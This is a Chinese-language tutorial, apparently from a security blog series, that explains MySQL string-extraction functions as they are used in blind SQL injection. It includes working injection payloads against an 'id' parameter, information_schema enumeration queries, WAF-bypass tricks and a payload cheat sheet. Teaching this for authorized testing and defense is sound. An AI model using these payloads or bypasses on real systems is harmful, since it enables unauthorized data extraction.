欢迎光临
我们一直在努力

5-数据库-SQL注入-盲注-盲注函数详解1-字符串截取函数-day13

盲注函数详解 1 — 字符串截取函数

在布尔盲注和时间盲注中,核心操作是"逐字符猜解数据"。要实现这一点,必须先将目标数据按位置截取为单个字符,再转换为 ASCII 码进行比较。本文系统讲解 MySQL 中用于字符串截取的函数及其在盲注中的应用。

📋 文章目录

  • 一、字符串截取函数总览
  • 二、SUBSTRING / SUBSTR / MID 详解
  • 三、LEFT 函数详解
  • 四、RIGHT 函数详解
  • 五、SUBSTRING_INDEX 函数详解
  • 六、函数对比与选择决策
  • 七、常见陷阱与注意事项
  • 八、速查表

⚠️ 免责声明:本文旨在教学网络安全知识,帮助安全研究人员、开发人员和运维人员了解 SQL 注入盲注的原理与防御方法。严禁将本文所述技术用于任何非法攻击、渗透测试(未经授权)、数据窃取或其他违法犯罪活动。因不当使用本文技术造成的一切后果由使用者自行承担,作者及平台不承担任何法律责任。请遵守法律法规,仅将知识用于合法授权的安全测试、学习研究或防御加固。


一、字符串截取函数总览

函数语法截取方向支持版本盲注常用度
SUBSTRING(str, pos, len) 从 pos 位置取 len 个字符 从左向右 全版本 ★★★★★
SUBSTR(str, pos, len) SUBSTRING 的同义词 从左向右 全版本 ★★★★★
MID(str, pos, len) SUBSTRING 的同义词 从左向右 全版本 ★★★★
LEFT(str, n) 从最左侧取 n 个字符 从左向右 全版本 ★★★
RIGHT(str, n) 从最右侧取 n 个字符 从右向左 全版本 ★★
SUBSTRING_INDEX(str, delim, count) 按分隔符截取 灵活 全版本 ★★

重要:SUBSTRING、SUBSTR、MID 三个函数在 MySQL 中功能完全等价,只是名称不同。WAF 绕过时可以互相替换。


二、SUBSTRING / SUBSTR / MID 详解

2.1 基本语法

SUBSTRING(str, pos, len) — 从 str 的第 pos 位置开始,截取 len 个字符
SUBSTRING(str, pos) — 从 str 的第 pos 位置开始,截取到末尾

— 别名形式(功能完全相同)
SUBSTR(str, pos, len)
MID(str, pos, len)

— MySQL 特有的 FROM-FOR 语法(不需要逗号)
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)

参数说明:

参数说明注意事项
str 要截取的字符串 可以是字段名、函数返回值、子查询结果
pos 起始位置 MySQL 中从 1 开始(不是从 0),支持负数(从末尾开始)
len 截取长度 省略则截取到末尾

2.2 基本用法示例

— 从位置1开始取1个字符
SELECT SUBSTRING('security', 1, 1); — 's'
SELECT SUBSTR('security', 1, 1); — 's'
SELECT MID('security', 1, 1); — 's'

— 从位置3开始取4个字符
SELECT SUBSTRING('security', 3, 4); — 'curi'

— 从位置5开始取到末尾(省略len)
SELECT SUBSTRING('security', 5); — 'rity'

— 使用负数位置(从末尾开始计数)
SELECT SUBSTRING('security', –3); — 'ity'(从倒数第3个字符到末尾)
SELECT SUBSTRING('security', –3, 2); — 'it'(从倒数第3个字符取2个字符)

— FROM-FOR 语法(不需要逗号,逗号被过滤时使用)
SELECT SUBSTRING('security' FROM 1 FOR 1); — 's'
SELECT SUBSTRING('security' FROM 3 FOR 4); — 'curi'
SELECT SUBSTRING('security' FROM 5); — 'rity'

2.3 在盲注中的应用

在盲注中,SUBSTR 最核心的用法是截取单个字符,配合 ASCII() 转换为数值进行比较:

— 截取 database() 返回值的第1个字符,转为ASCII码,判断是否大于100
ASCII(SUBSTR(database(), 1, 1)) > 100

— 截取 version() 返回值的第6个字符
ASCII(SUBSTR(@@version, 6, 1)) = 55

— 截取子查询返回的第3个字符
ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 3, 1)) = 114

完整盲注 Payload 示例:

— 假设原SQL: SELECT * FROM users WHERE id=1

— 猜解 database() 的第1个字符
?id=1 AND ASCII(SUBSTR(database(), 1, 1)) > 100
— 页面正常 → ASCII > 100 → 继续二分

?id=1 AND ASCII(SUBSTR(database(), 1, 1)) > 115
— 页面异常 → ASCII <= 115 → 缩小范围

?id=1 AND ASCII(SUBSTR(database(), 1, 1)) = 115
— 页面正常 → ASCII = 115 → 字符是 's' → database() 首字符是 's'

2.4 不使用 ASCII 的直接字符比较

也可以不经过 ASCII() 转换,直接用字符进行比较:

— 直接与字符比较(需要引号)
?id=1 AND SUBSTR(database(), 1, 1) = 's'

— 缺点:需要引号,如果引号被过滤则无法使用
— 优点:可以直接用 LIKE、REGEXP 等模式匹配

— 用十六进制替代引号中的字符
?id=1 AND SUBSTR(database(), 1, 1) = 0x73
— 0x73 = 115 = 's',不需要引号

2.5 三个函数的等价性证明

— 以下三个表达式完全等价
SELECT SUBSTRING('admin', 1, 1); — 'a'
SELECT SUBSTR('admin', 1, 1); — 'a'
SELECT MID('admin', 1, 1); — 'a'

— 在盲注中可以互相替换
?id=1 AND ASCII(SUBSTRING(database(), 1, 1)) = 115
?id=1 AND ASCII(SUBSTR(database(), 1, 1)) = 115
?id=1 AND ASCII(MID(database(), 1, 1)) = 115
— 三个 Payload 效果完全相同

WAF 绕过提示:如果 SUBSTR 被 WAF 拦截,可以换用 SUBSTRING 或 MID,反之亦然。三个函数的 SQL 执行结果完全一致。

2.6 FROM-FOR 语法的 WAF 绕过价值

— 标准语法(使用逗号)
SUBSTR(database(), 1, 1)

— FROM-FOR 语法(不使用逗号,逗号被WAF过滤时使用)
SUBSTR(database() FROM 1 FOR 1)

— 实际Payload
?id=1 AND ASCII(SUBSTR(database() FROM 1 FOR 1)) = 115

— 如果 FOR 也被过滤,可以用 FROM 语法取到末尾再配合其他函数
— 但这会使Payload更复杂,一般不推荐


三、LEFT 函数详解

3.1 基本语法

LEFT(str, n) — 从字符串最左侧取 n 个字符

3.2 基本用法示例

SELECT LEFT('security', 1); — 's'(取最左1个字符)
SELECT LEFT('security', 3); — 'sec'(取最左3个字符)
SELECT LEFT('security', 0); — ''(取0个字符 = 空字符串)
SELECT LEFT('security', 100); — 'security'(超过长度则取全部)
SELECT LEFT('security', NULL); — NULL

3.3 在盲注中的应用

LEFT 在盲注中的典型用法是逐前缀匹配——每次多猜一个字符,与前一次的结果拼接:

— 逐字符扩大前缀
— 第1次:猜第1个字符
?id=1 AND LEFT(database(), 1) = 's'
— 等价于 SUBSTR(database(), 1, 1) = 's'

— 第2次:猜前2个字符(第1个已知为 's')
?id=1 AND LEFT(database(), 2) = 'se'
— 等价于 CONCAT(SUBSTR(database(),1,1), SUBSTR(database(),2,1)) = 'se'

— 第3次:猜前3个字符
?id=1 AND LEFT(database(), 3) = 'sec'

— 依次类推,直到完整数据库名
?id=1 AND LEFT(database(), 8) = 'security'

LEFT 的特点:

特点说明
优势 每次请求包含前面已知的所有字符,可以"逐步逼近"完整字符串
劣势 需要引号包裹字符串,引号被过滤时无法使用(除非用十六进制)
劣势 每次比较的字符串越来越长,Payload 逐渐变大
适用 适合配合十六进制编码使用,或引号未被过滤的场景

十六进制编码配合 LEFT:

— 不需要引号
?id=1 AND LEFT(database(), 1) = 0x73
— 0x73 = 's'

?id=1 AND LEFT(database(), 2) = 0x7365
— 0x7365 = 'se'

?id=1 AND LEFT(database(), 8) = 0x7365637572697479
— 0x7365637572697479 = 'security'

注意:十六进制字符串在 MySQL 中默认按字节解释。对于 ASCII 字符(0-127),十六进制与字符一一对应。对于多字节字符(如中文、emoji),需要注意字符集差异——LENGTH() 和 CHAR_LENGTH() 的返回值不同。


四、RIGHT 函数详解

4.1 基本语法

RIGHT(str, n) — 从字符串最右侧取 n 个字符

4.2 基本用法示例

SELECT RIGHT('security', 1); — 'y'(取最右1个字符)
SELECT RIGHT('security', 3); — 'ity'(取最右3个字符)
SELECT RIGHT('security', 0); — ''
SELECT RIGHT('security', 100); — 'security'

4.3 在盲注中的应用

RIGHT 在盲注中较少单独使用,因为从右侧逐字符猜解需要先知道总长度。但可以配合 REVERSE 实现"从右向左"的猜解:

— 从右向左猜解(先猜最后一个字符)
— REVERSE 将字符串反转,再用 LEFT 从左取
?id=1 AND LEFT(REVERSE(database()), 1) = 'y'
— 等价于 RIGHT(database(), 1) = 'y'

— 逐个扩大
?id=1 AND LEFT(REVERSE(database()), 2) = 'yt'
— 等价于 RIGHT(database(), 2) = 'ty'(注意顺序反转)

?id=1 AND LEFT(REVERSE(database()), 3) = 'yti'
— 等价于 RIGHT(database(), 3) = 'ity'

RIGHT 更常见的用途是配合 SUBSTR 实现从末尾截取单个字符:

— 取倒数第1个字符(需要知道总长度,假设长度为8)
?id=1 AND ASCII(SUBSTR(database(), 8, 1)) = 121
— 等价于 ASCII(RIGHT(database(), 1)) = 121

— 取倒数第2个字符
?id=1 AND ASCII(SUBSTR(database(), 7, 1)) = 116
— 等价于 ASCII(RIGHT(database(), 2)) 的第二个字符

总结:RIGHT 在盲注中实用性不如 SUBSTR 和 LEFT,主要用于 WAF 绕过时的替代方案或特殊场景。


五、SUBSTRING_INDEX 函数详解

5.1 基本语法

SUBSTRING_INDEX(str, delim, count)
— 按 delim 分隔 str,取前 count 个分隔符之前(或之后)的内容

— count > 0:从左向右数,取第 count 个 delim 之前的内容
— count < 0:从右向左数,取第 |count| 个 delim 之后的内容

5.2 基本用法示例

SELECT SUBSTRING_INDEX('www.example.com', '.', 2);
— 'www.example'(从左数2个`.`之前的内容)

SELECT SUBSTRING_INDEX('www.example.com', '.', 1);
— 'www'

SELECT SUBSTRING_INDEX('www.example.com', '.', –1);
— 'com'(从右数1个`.`之后的内容)

SELECT SUBSTRING_INDEX('www.example.com', '.', –2);
— 'example.com'

SELECT SUBSTRING_INDEX('admin:password123', ':', 1);
— 'admin'

SELECT SUBSTRING_INDEX('admin:password123', ':', –1);
— 'password123'

5.3 在盲注中的应用

SUBSTRING_INDEX 在盲注中不用于逐字符截取,而是用于提取分隔符分隔的字段值:

— 假设 GROUP_CONCAT 返回 'users,products,orders,config'
— 用 SUBSTRING_INDEX 取第1个表名
SELECT SUBSTRING_INDEX(
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
',', 1
);
— 结果:'users'

— 取第2个表名(嵌套使用)
SELECT SUBSTRING_INDEX(
SUBSTRING_INDEX(
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
',', 2
),
',', –1
);
— 结果:'products'

— 在布尔盲注中判断第2个表名是否以 'p' 开头
?id=1 AND ASCII(SUBSTR(
SUBSTRING_INDEX(
SUBSTRING_INDEX(
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
',', 2
),
',', –1
),
1, 1
)) = 112
— 112 = 'p'

使用场景:当 GROUP_CONCAT 一次性拼接了多个值,但需要定位其中某个特定值时,SUBSTRING_INDEX 是有用的辅助函数。不过在纯布尔盲注中,更常用的是 LIMIT 逐行获取而非 GROUP_CONCAT + SUBSTRING_INDEX。


六、函数对比与选择决策

6.1 盲注场景下的函数选择

场景推荐函数示例原因
逐字符猜解(标准方式) SUBSTR + ASCII ASCII(SUBSTR(database(),1,1))>100 最通用、最稳定
逐前缀逼近 LEFT LEFT(database(),2)='se' 逐步缩小范围
从末尾猜解 RIGHT / REVERSE+LEFT RIGHT(database(),1)='y' 特殊场景辅助
逗号被 WAF 过滤 SUBSTRING FROM FOR SUBSTR(database() FROM 1 FOR 1) 避免使用逗号
SUBSTR 被 WAF 过滤 MID 或 SUBSTRING MID(database(),1,1) 三者完全等价
定位分隔值 SUBSTRING_INDEX SUBSTRING_INDEX(data,',',-1) 辅助函数

6.2 从左向右 vs 从右向左猜解

猜解方向函数组合优势劣势
从左向右 SUBSTR(str, n, 1) 最自然,位置从 1 递增 需要知道总长度确定结束位置
从左向右(前缀) LEFT(str, n) 包含已知字符,逐步逼近 需要引号或十六进制
从右向左 RIGHT(str, n) + REVERSE 可先猜结尾 Payload 较复杂
双向猜解 SUBSTR 从两端向中间 并发猜解,理论上快一倍 实现复杂

实战建议:绝大多数情况下使用 SUBSTR + ASCII 从左向右猜解即可。双向猜解和多线程并发等优化技巧见《盲注-技巧与进阶》文档。


七、常见陷阱与注意事项

7.1 MySQL 位置从 1 开始(不是 0)

— MySQL 中 SUBSTR 的位置从 1 开始
SELECT SUBSTR('admin', 1, 1); — 'a'(第1个字符)
SELECT SUBSTR('admin', 0, 1); — ''(第0个位置不存在,返回空字符串)
SELECT SUBSTR('admin', 0, 2); — 'a'(第0位置无字符,从第1位置开始取2个,但只有1个)

— 与 PHP/Java 等语言的 substr 区别
— PHP: substr('admin', 0, 1) → 'a'(从0开始)
— MySQL: SUBSTR('admin', 0, 1) → ''(从0开始 = 无效位置)

重要:在编写盲注脚本时,循环变量应从 1 开始,不是从 0 开始。这是从其他语言迁移时最常犯的错误。

7.2 空字符串与 NULL 的区别

— 空字符串
SELECT SUBSTR('', 1, 1); — ''(空字符串)
SELECT ASCII(SUBSTR('', 1, 1)); — 0(空字符串的 ASCII 为 0)

— NULL
SELECT SUBSTR(NULL, 1, 1); — NULL
SELECT ASCII(SUBSTR(NULL, 1, 1)); — NULL

— 在布尔条件中
SELECT 1 WHERE ASCII(SUBSTR('', 1, 1)) = 0; — 匹配(空字符串ASCII=0)
SELECT 1 WHERE ASCII(SUBSTR(NULL, 1, 1)) = 0; — 不匹配(NULL与任何值比较都为NULL,不是true)

注意:当子查询返回 NULL 时(如查询不存在的行),ASCII(SUBSTR(NULL, …)) 返回 NULL,与任何值的比较都返回 NULL(不是 true 也不是 false)。这可能导致盲注判断出错。应先通过 LENGTH() 或 IS NULL 判断数据是否存在。

7.3 多字节字符集的问题

— ASCII 字符(1字节)
SELECT SUBSTR('admin', 1, 1); — 'a'
SELECT LENGTH('admin'); — 5
SELECT CHAR_LENGTH('admin'); — 5

— 中文(UTF-8 下3字节)
SELECT SUBSTR('管理员', 1, 1); — '管'(按字符截取,不是按字节)
SELECT LENGTH('管理员'); — 9(字节数)
SELECT CHAR_LENGTH('管理员'); — 3(字符数)

— 在盲注中
SELECT ASCII(SUBSTR('管理员', 1, 1));
— 返回 '管' 的第一个字节的 ASCII 值(如 231)
— 注意:一个中文字符的 ASCII 值不能完整表示该字符

注意:SUBSTR 是按字符截取的(不是按字节),但 ASCII() 只返回第一个字节的值。对于多字节字符(如 UTF-8 中文),一个字符可能占 3-4 字节,ASCII() 只能获取第一个字节的值。如果需要完整处理多字节字符,应使用 ORD() 代替 ASCII()(ORD() 返回字符的完整编码值)。详见《盲注函数详解2-长度与编码函数》。

7.4 子查询结果作为 SUBSTR 参数

— 子查询返回字符串,SUBSTR 截取其内容
— 注意:子查询必须返回单行单列(标量子查询),否则报错

— 正确:子查询返回单值
SELECT SUBSTR((SELECT database()), 1, 1); — 's'

— 正确:子查询配合 LIMIT
SELECT SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 0,1), 1, 1);

— 错误:子查询返回多行
SELECT SUBSTR((SELECT table_name FROM information_schema.tables), 1, 1);
— 报错:Subquery returns more than 1 row

— 错误:子查询返回多列
SELECT SUBSTR((SELECT id, username FROM users LIMIT 0,1), 1, 1);
— 报错:Operand should contain 1 column(s)

关键:在盲注中,SUBSTR 的参数几乎总是包含子查询。子查询必须配合 LIMIT 确保只返回单行单列。详见《子查询在盲注中的应用》文档。


八、速查表

函数截取单个字符的写法不使用逗号的写法适用版本
SUBSTRING SUBSTRING(str, n, 1) SUBSTRING(str FROM n FOR 1) 全版本
SUBSTR SUBSTR(str, n, 1) SUBSTR(str FROM n FOR 1) 全版本
MID MID(str, n, 1) MID(str FROM n FOR 1) 全版本
LEFT LEFT(str, n) — 全版本
RIGHT RIGHT(str, 1) — 全版本

盲注中截取单个字符的完整 Payload 模式

— 模式1:SUBSTR + ASCII(最常用)
ASCII(SUBSTR((子查询), 位置, 1))

— 模式2:SUBSTRING + ASCII(SUBSTR 被拦截时)
ASCII(SUBSTRING((子查询), 位置, 1))

— 模式3:MID + ASCII(SUBSTR 和 SUBSTRING 都被拦截时)
ASCII(MID((子查询), 位置, 1))

— 模式4:FROM-FOR 语法(逗号被拦截时)
ASCII(SUBSTR((子查询) FROM 位置 FOR 1))

— 模式5:LEFT 前缀匹配
LEFT((子查询), 位置) = 已知前缀

— 模式6:直接字符比较(引号未过滤时)
SUBSTR((子查询), 位置, 1) = '字符'

— 模式7:十六进制字符比较(引号被过滤时)
SUBSTR((子查询), 位置, 1) = 0x十六进制


⚖️ 法律与道德声明

最后再次强调:

  • 合法用途:本文内容仅供网络安全教学、安全研究、漏洞防御技术学习使用。
  • 授权测试:任何安全测试必须在获得明确书面授权的前提下进行。
  • 责任自负:读者应对自己的行为负全部法律责任,不得将所学技术用于:
    • 未经授权的系统入侵
    • 数据窃取或篡改
    • 破坏系统正常运行
    • 其他任何违法犯罪活动
  • 技术防御:学习攻击技术的目的是为了更好地防御。建议读者将重点放在:
    • 代码安全审计
    • 输入验证与过滤
    • 参数化查询与预编译语句
    • 安全配置与权限控制
  • 记住:技术本身无善恶,关键在于使用者的意图与行为。请做一名负责任的安全从业者。

    赞(0)
    未经允许不得转载:171主机测评 » 5-数据库-SQL注入-盲注-盲注函数详解1-字符串截取函数-day13
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址